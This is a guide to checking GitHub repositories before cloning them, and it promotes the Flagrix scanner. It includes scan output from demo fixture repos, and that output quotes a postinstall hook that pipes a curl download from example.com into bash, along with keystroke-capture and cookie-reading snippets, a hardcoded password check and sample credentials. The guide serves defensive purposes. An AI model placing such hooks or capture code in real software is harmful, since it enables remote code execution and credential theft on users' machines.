Guides

How to check a GitHub repo before you clone it

TomPublished Updated

You found a tool on GitHub that does exactly what you need. Or a take-home assignment landed in your inbox, or an AI agent suggested a repo. Before you run it, it’s worth a few minutes of checking. On 5 November 2026, Dr. Web reported fake “security tools” on GitHub, such as a script to parse and format Fscan output, that had infected more than 2,000 PCs at the time of its research.

A plain git clone is generally safe: Git doesn’t copy a repo’s configuration or hooks, so cloning doesn’t run its code. Keep Git up to date. The risk starts when you install, build or open the project: npm install runs install scripts, a build runs build steps, and an editor or an AI agent can run tasks and hooks when you open the folder, depending on its trust settings. So the checks below happen before those steps, and most of them before the clone.

The short version: check who’s behind the repo, don’t trust the stars, look at the commit history, read what runs on install or build, check the dependencies and secrets, then scan the exact commit you’ll clone. If you only want to know what to do with a scan result, jump to the verdicts.

Who’s behind the repo

Open the owner’s profile. An organization with a history, other projects and real contributors is a different thing from a personal account created last month with one repo. Look at the account’s age, followers, other repositories and recent activity, and compare them with the story you were told. My guide on a fake recruiter’s GitHub invite has a one-line curl that shows when an account was created.

Flagrix can scan a profile too. It weighs how new the account is, its followers, its own repos (forks don’t count), how complete the profile is and its recent activity against signs of an established account. No single number decides it, and an old account can be a stolen one, which is why the commit history below matters.

Stars, forks and lookalike names

Stars can be bought. An ICSE 2026 paper, Six Million (Suspected) Fake Stars in GitHub, found that fake-star activity surged in 2024 and that most fake stars promote short-lived phishing and malware repositories. The authors also found that fake stars help only in the short term, less than two months. That’s long enough for a repo that only needs to be found and cloned once.

Checkmarx described another trick in 2024: GitHub Actions committing to a log file over and over, so the repo shows up as “recently updated” in search, plus stars from fake accounts created on the same day.

What I look at:

Flagrix doesn’t count or judge stars, so this one is on you.

Commit history

A commit’s date is set by whoever makes the commit, so it can say anything. The time GitHub received the push is recorded by GitHub. Attackers use the gap: in the PolinRider campaign, OpenSourceMalware found a commit dated December 2024 that was pushed in June 2026, eighteen months later. The repo’s history looked old and trusted. Socket saw repeated force pushes in affected repos, consistent with history being rewritten.

To look by hand, open the repo’s main page and click Activity, to the right of the file list. GitHub’s activity view lists pushes, merges, force pushes and branch changes, and you can filter it to force pushes only. Compare when things were pushed with the dates on the commits. A recent force push on a project that looks quiet, or a recent push of commits dated long ago, is worth a closer look at what changed.

Each Flagrix repo scan checks this too. It flags a commit GitHub received 30+ days after the commit’s own date, and it reports force pushes from the last 90 days. Note that OpenSourceMalware’s example was a plain push, not a force push, so looking for force pushes alone would miss it. Comparing the dates is how you spot it.

What runs when you install, build or open it

I wrote about this in detail in the fake recruiter guide’s checklist: read the scripts in package.json before npm install, look for very long lines in config files, open the repo in your editor’s restricted mode, and don’t run it on your main machine. At Binance, code that ran during an assignment’s setup on a work computer was the way in. That guide has the details.

Three things to add here:

Flagrix checks editor and agent config files that auto-run code: VS Code folderOpen tasks, .claude hooks, MCP configs and dev container configs. It also checks Dockerfiles and compose files, for example for a disguised file that gets run during the build, or a service that mounts your home folder.

Dependencies against known-malicious packages

A repo’s own code can look fine and still pull in a malicious package. GitHub’s Advisory Database has malware advisories, fed by the npm security team and the OpenSSF Malicious Packages project, and Dependabot raises an alert when malware alerts are turned on. That’s great for your own repos once the dependency is in. For someone else’s repo you haven’t cloned yet, you can look names up yourself on osv.dev.

Flagrix matches the dependencies it reads (package.json, requirements.txt, setup.py, Pipfile) against the OpenSSF malicious-packages feed locally. The feed is downloaded to your machine, and on 9 November 2026 it listed 222,877 npm and 11,992 PyPI package names. A dependency that matches a known malicious package exactly, either a package that’s malicious in every version or the exact version the repo declares, forces a high verdict. A version range that might resolve to a malicious release is reported too, but doesn’t decide the verdict alone. Flagrix also checks for typosquats of 15 popular npm package names, such as lodash, express and react, not every package. Those candidate names are looked up on npm’s public downloads API, which is the only time dependency names leave your machine.

Hardcoded secrets

A key committed to source is either carelessness or bait. Either way it tells you something about the repo. Flagrix flags hardcoded secrets: AWS, GitHub, Stripe, npm and AI-provider keys, and private keys. As the medium example below shows, it also flags database connection strings with a password in them.

Three repos, three verdicts

To show what a scan looks like, I scanned the three Flagrix demo repos between 10 and 13 November 2026, one per verdict. They’re test fixtures: the patterns have the shape of the real thing, but there’s no working payload in them. Scan them; don’t install or run them. I used the Flagrix CLI 0.5.1 and the Chrome extension. Without a GitHub token, each scan used 9 or 10 of the 60 requests GitHub allows per hour.

Low: flagrix-test-low

Flagrix’s scan panel on flagrix-test-low: low risk, No blocking findings, “Static checks reduce risk — they can’t rule it out”, security score 100/100, 6 files scanned, 0 dependencies, 0 issues found, with the verdict pinned to commit dd3ddb5. The header pill behind it reads Low risk · 100/100

npx flagrix scan flagrix-io/flagrix-test-low
  flagrix-io/flagrix-test-low @ dd3ddb5
  LOW RISK — No blocking findings  security score 100/100
  6 files scanned · 0 dependencies · 0 issues

  Verdict applies to commit dd3ddb5253c74cdeaab022b0ba27a190802d0084 — re-scan after new pushes.
  Risk assessment only. Not a definitive fraud determination. Always verify through official channels.

Exit code 0. A small string-and-array helper library: six files read, no dependencies, nothing flagged. Here, low risk means nothing in the files that were read matched a known pattern. In general, low means that whatever was found in what was read stays below the medium line, which can include a few weak findings. Either way, it doesn’t mean the repo is safe, and no tool can promise that. The extension words it as “No blocking findings”. The checks above, like who’s behind it and the stars, still apply.

Medium: flagrix-test-medium

Flagrix’s scan panel on flagrix-test-medium: medium risk, review before cloning, security score 54/100, 5 issues found, starting with the hardcoded API key in src/config.js and the clipboard read in src/analytics.js. The header pill behind it reads Review · 54/100

npx flagrix scan flagrix-io/flagrix-test-medium
  flagrix-io/flagrix-test-medium @ c204014
  MEDIUM RISK — Review before cloning  security score 54/100
  4 files scanned · 0 dependencies · 5 issues

  MEDIUM Reads clipboard content — can steal copied passwords, 2FA codes, crypto addresses
    src/analytics.js:17
        17  return navigator.clipboard.readText()

  MEDIUM Reads browser cookies via document.cookie — can steal session tokens
    src/analytics.js:13
        13  return document.cookie

  HIGH Generic API key / secret key pattern assigned to a variable (obvious placeholders are downgraded by scanner context)
    src/config.js:8
         8  export const apiKey = "a9f3c2e81b7d4056f1e9c8a2b6d5f0e37c4a1029"

  MEDIUM MongoDB or PostgreSQL connection string with credentials embedded
    src/config.js:10
        10  export const databaseUrl = "mongodb://appuser:s3rvicepass@localhost:27017/appdb"

  MEDIUM 6+ base64 strings of 50+ chars in a single file. Base64 is a legitimate encoding, but excessive use in source code is a red flag — it's the most common way to hide malicious payloads, C2 URLs, and commands from static analysis.

    src/encoder.js:3
         3  const chunkA = "VGhpcyBpcyBhIGNvbXBsZXRlbHkgaGFybWxlc3MgcGxhY2Vob2xkZXIgc3RyaW5nIG9uZS4="
         4  const chunkB = "QW5vdGhlciBoYXJtbGVzcyBibG9jayBvZiBmaWxsZXIgdGV4dCBmb3IgdGhlIGRlbW8gdHdvLg=="
         5  const chunkC = "WWV0IGFub3RoZXIgYmVuaWduIGNodW5rIG9mIGVuY29kZWQgcGxhY2Vob2xkZXIgdGhyZWUu"

  Verdict applies to commit c2040143002f44a84193d169a0ceafddad6152f4 — re-scan after new pushes.
  Risk assessment only. Not a definitive fraud determination. Always verify through official channels.

Exit code 2. Five findings, none of them critical:

None of these alone forces a verdict. Each adds some weight, and together they land in the middle band. A medium verdict means “a person should look at these lines”, so open each flagged file at the flagged line and decide whether it fits what the project says it does.

High: flagrix-test-high

Flagrix’s scan panel on flagrix-test-high: high risk, do not clone, security score 0/100, 5 issues found, starting with two critical findings: the keystroke capture in src/tracker.js and the npm install hook that downloads and pipes into a shell. The header pill behind it reads Do not clone · 0/100

npx flagrix scan flagrix-io/flagrix-test-high
  flagrix-io/flagrix-test-high @ e60cec4
  HIGH RISK — Do not clone  security score 0/100
  4 files scanned · 0 dependencies · 5 issues

  HIGH postinstall script makes network requests: "curl https://example.com/setup.sh | bash..."
    package.json

  CRITICAL npm install hook that downloads (curl/wget/iwr), pipes into a shell, or runs `node -e` with network or exec code. Complements scanner-core's built-in postinstall check (which only looks for curl/wget/http/fetch/eval/exec substrings).

    package.json:7
         7  "postinstall": "curl https://example.com/setup.sh | bash"

  MEDIUM Password or auth value compared against a hardcoded string literal (e.g. password == "admin123") — a pattern backdoors use, but also common in tests, examples and placeholder checks
    src/auth.js:5
         5  if (userPassword == "admin123") {

  MEDIUM Reads browser cookies via document.cookie — can steal session tokens
    src/tracker.js:5
         5  return document.cookie

  CRITICAL Reads pressed keys from a keyboard handler and stores or transmits them
    src/tracker.js:15
        15  document.addEventListener("keydown", (event) => {
        16  captured.push(event.key)

  Verdict applies to commit e60cec4ce1050fffe9c56fb5279fbc86a0cc8b0d — re-scan after new pushes.
  Risk assessment only. Not a definitive fraud determination. Always verify through official channels.

Exit code 3. Two findings matter most:

The postinstall downloader is also critical, but it’s matched with medium confidence, so on its own it adds weight instead of forcing the verdict.

Scan the commit you’ll actually clone

A verdict is about one commit. Flagrix pins every verdict to the commit SHA it scanned. The CLI prints it (“Verdict applies to commit … — re-scan after new pushes”), and the extension remembers it.

After a scan, the extension (since 0.6.0) shows the verdict in the repo header and at the top of GitHub’s Code menu, right where you copy the clone URL. When new commits land, it stops showing the old verdict and says “New commits since scan” instead. It doesn’t block the copy. It’s there so the last thing you see before cloning is a verdict about the code you’re cloning.

The flagrix-test-high repo page after a scan: the Flagrix pill in the header reads Do not clone · 0/100, and the open Code menu starts with a Flagrix strip above the clone URL: “Flagrix flagged this repo as high risk. 5 findings at e60cec4 (6m ago). Don’t clone or install until you’ve read them.” with a Details button

Once the repo moves on, the pill changes:

The repo header after new commits landed: the Flagrix pill reads “New commits since scan” instead of the old verdict

If the README tells you to check out a branch or a tag, scan that one. A low-risk scan of main says nothing about a release branch. With the CLI:

npx flagrix scan owner/repo --ref <branch-or-sha>

After cloning, check that you got the commit that was scanned, before you open, install or run anything. Inside the cloned folder, run:

git rev-parse HEAD

It prints the full commit SHA. Compare it with the full SHA the CLI prints, like dd3ddb5253c74cdeaab022b0ba27a190802d0084 for the low demo, or with the first seven characters the extension shows. If they differ, scan that exact commit with --ref before you open, install or run the project.

What to do at each verdict

Verdict What it means What to do
Low Whatever was found in the files that were read, if anything, stays below the medium line. Still do the checks a scan can’t: who’s behind it, stars, what the README asks you to download. If you’re unsure, run it in a throwaway VM or a cloud dev environment.
Medium Patterns worth a human look, none decisive. Open every finding at its line. Each one should have a plain explanation that fits the project. If one doesn’t, don’t run it.
High A strong pattern, or several, or a known malicious dependency. Don’t clone or run it. Read the findings, and check the person who sent it through a channel you trust. If the findings show real abuse, report the repo to GitHub.
Scan incomplete The scan couldn’t read everything, usually because GitHub’s hourly limit ran out. Treat it as no verdict, not as low. Add a GitHub token, or wait for the limit to reset, and scan again.

About “Scan incomplete”: without a token, GitHub allows 60 API requests an hour, and a scan of a big repo can need up to about 200. When the budget runs out partway through, Flagrix stops and won’t call the repo low over a partial read. The extension shows “Scan incomplete” with a ? score, and the CLI exits with code 4. A medium or high verdict still stands, because a finding is a finding however little else was read. A token raises the limit to 5,000 requests an hour.

Flagrix’s scan panel showing Scan incomplete, no verdict, with a question mark instead of a score and “Not enough of this repository was read to give a verdict”. A banner says the scan stopped early at GitHub’s rate limit after 28 files, that what was read turned up only low-weight findings and that this says nothing about the files left unread, and offers to add a token. Stats: 28 files scanned, 174 dependencies, 2 issues found

This was a real scan of a public repo, name hidden, with no token. It ran out of budget after 28 files. The 2 issues it found weren’t enough for a medium or high verdict, and with the rest of the repo unread, Flagrix won’t call it low either.

What a scan can’t see

Flagrix reduces risk. It can’t promise a repo is safe, and here’s where it stops:

Flagrix grew out of a prototype I was already using when a fake recruiter sent me a repo with an obfuscated payload hidden in postcss.config.js. The prototype flagged it before I ran anything. That whole story is where the checks above started. The short version is on the homepage.

Running it from a script or an agent

The same scan runs anywhere Node runs, so a script, a CI job or an AI agent can check a repo before cloning it. The exit code is the answer:

Exit code Meaning
0 low risk
1 scan failed
2 medium risk
3 high risk
4 scan incomplete: not enough was read to give a verdict

Treat anything other than 0 as “stop and look”. For Claude Code there’s a hook that scans the GitHub repo in the git clone and gh repo clone commands it recognizes, and blocks the clone unless the verdict is low: see the agent-gating guide. It scans the branch the clone checks out: a --branch or -b is passed to the scan, otherwise it’s the default branch. It also recognizes git options before clone, like git -C <dir> clone …. It reads only the command text, though, so a clone hidden behind an alias, a script or a Makefile isn’t seen, and a push between the scan and the clone isn’t covered. That’s why the commit check above still matters. If the rules can’t be refreshed, the CLI falls back to cached or bundled rules. Scanning a repo still needs to reach GitHub.

If you parse --json (CLI 0.5.0 or later), gate on the verdict field: low, medium, high or incomplete, matching exit codes 0, 2, 3 and 4. Don’t gate on riskLevel. It’s the engine’s reading of the files it managed to read, so on an incomplete scan it can still say low. The CLI README has the details.

To try it without touching anything dangerous, add the extension and scan the high-risk demo repo. The scan runs locally in your browser, it’s free and it needs no account.